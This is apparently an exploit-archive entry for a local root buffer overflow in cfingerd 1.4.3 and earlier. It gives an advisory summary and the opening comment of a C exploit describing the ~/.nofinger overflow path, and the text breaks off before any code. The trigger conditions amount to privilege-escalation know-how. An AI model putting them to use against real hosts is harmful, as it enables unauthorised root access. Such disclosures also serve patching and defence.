cfingerd 1.4.1/1.4.2/1.4.3 Utilities - Local Buffer Overflow (3)

// source: https://www.securityfocus.com/bid/2914/info
  
cfingerd is a secure implementation of the finger daemon. cfingerd has been contributed to by many authors, and is maintained by the cfingerd development team.
  
A buffer overflow in cfingerd makes it possible for a local user to gain elevated privileges. Due to insufficient validation of input, a user can execute arbitrary code through the .nofinger file.
  
This makes it possible for a local user to gain elevated privileges, and potentially root access. 

/*
 * cfingerd 1.4.3 and prior Linux x86 local root exploit
 * by qitest1 10/07/2001
 *
 * This code successfully exploits the bof vulnerability found by
 * Steven Van Acker <deepstar@ulyssis.org> and recently posted to
 * bugtraq. If the ALLOW_LINE_PARSING option is set, and it is set
 * by default, the bof simply occurs when reading the ~/.nofinger
 * file. If cfingerd is called by inetd as root, a root shell will be
 * spawned. But it is quite funny that the authors of cfingerd in the
 * README almost seem to encourage people to set inetd.conf for
 * calling cfingerd as root.     
 *
 * Greets: my friends on #sikurezza@Undernet
 *	   jtripper: hi man, play_the_game with me! =)

 *
 * Fuck:   fender'/hcezar: I want your respect..
 *
 * have fun with this 0x69 local toy! =)
